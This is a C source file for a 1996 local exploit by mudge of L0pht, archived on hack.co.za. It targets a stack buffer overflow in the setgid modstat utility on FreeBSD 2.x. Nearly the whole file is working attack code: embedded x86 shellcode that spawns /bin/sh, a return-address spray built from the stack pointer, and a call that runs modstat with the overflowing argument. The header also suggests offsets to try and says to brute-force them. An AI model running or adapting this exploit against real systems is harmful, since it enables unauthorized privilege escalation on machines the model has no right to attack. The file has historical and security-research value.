/*
 ********************************************************************
 * modstat buffer overflow code - mudge@l0pht.com                   *
 * 8/11/96                                                          *
 * Done initially on FreeBSD as my BSDI box is down right now...    *
 * sigh. It should work on any x86 arch with the standard *BSD      *
 * implementation as they all use the same opcodes and operands.    *
 * Go grab the splitvt code if you want this to work on Linux.      *
 *                                                                  *
 * try with offsets of -48, 7, 271, 326 with the way this is curr.  *
 * setup. If these fail, brute force it <grin>.               *
 *                                                                  *
 * Many thanks to bitwrior for initially finding the code problem   *
 * in modstat and pointing it out to me - It's always nice when     *
 * someone hands you a bone to gnaw on without wanting              *
 * anything in particular out of it [this I know 'cause he has no   *
 * problems writing this sort of thing on his own].                 *
 ********************************************************************
 SYSTEMS AFFECTED
 
   Systems with the *BSD distribution of modstat sgid kmem 
     (FreeBSD 2.0, 2.0.5, 2.1, 2.1.5, 2.1.6, 2.1.6.1).
 
 */

#include <stdio.h>
#include <stdlib.h>

long get_esp(void)
{
  __asm__("movl %esp, %eax\n");
}

main(int argc, char **argv)
{
  int i, j, offset;
  char *bar, *foo;
  unsigned long *esp_plus = NULL;


  char mach_codes[] =
    "\xeb\x35\x5e\x59\x33\xc0\x89\x46\xf5\x83\xc8\x07\x66\x89\x46\xf9"
    "\x8d\x1e\x89\x5e\x0b\x33\xd2\x52\x89\x56\x07\x89\x56\x0f\x8d\x46"
    "\x0b\x50\x8d\x06\x50\xb8\x7b\x56\x34\x12\x35\x40\x56\x34\x12\x51"
    "\x9a>:)(:<\xe8\xc6\xff\xff\xff/bin/sh";


  if (argc == 2)
    offset = atoi(argv[1]);
  else
    {
      fprintf(stderr, "Usage: %s offset\n", argv[0]);
      exit(1);
    }

  bar = malloc(4096);
  if (!bar)
    {
      printf("failed to malloc memory\n");
      exit(1);
    }

  foo = bar;  /* copy of original ptr */

  esp_plus = (long *)bar;
  for(i=0; i<24; i++)
    *(esp_plus++) = (get_esp() + offset);

  printf("Using offset (0x%x)\n", (get_esp() + offset));

  bar = (char *)esp_plus;

  for(j=0; j<strlen(mach_codes); j++)
    *(bar++) = mach_codes[j];

  *bar = 0;

  execl("/usr/bin/modstat", "modstat", "-n", foo, NULL);
}
/*                    www.hack.co.za              [2000]*/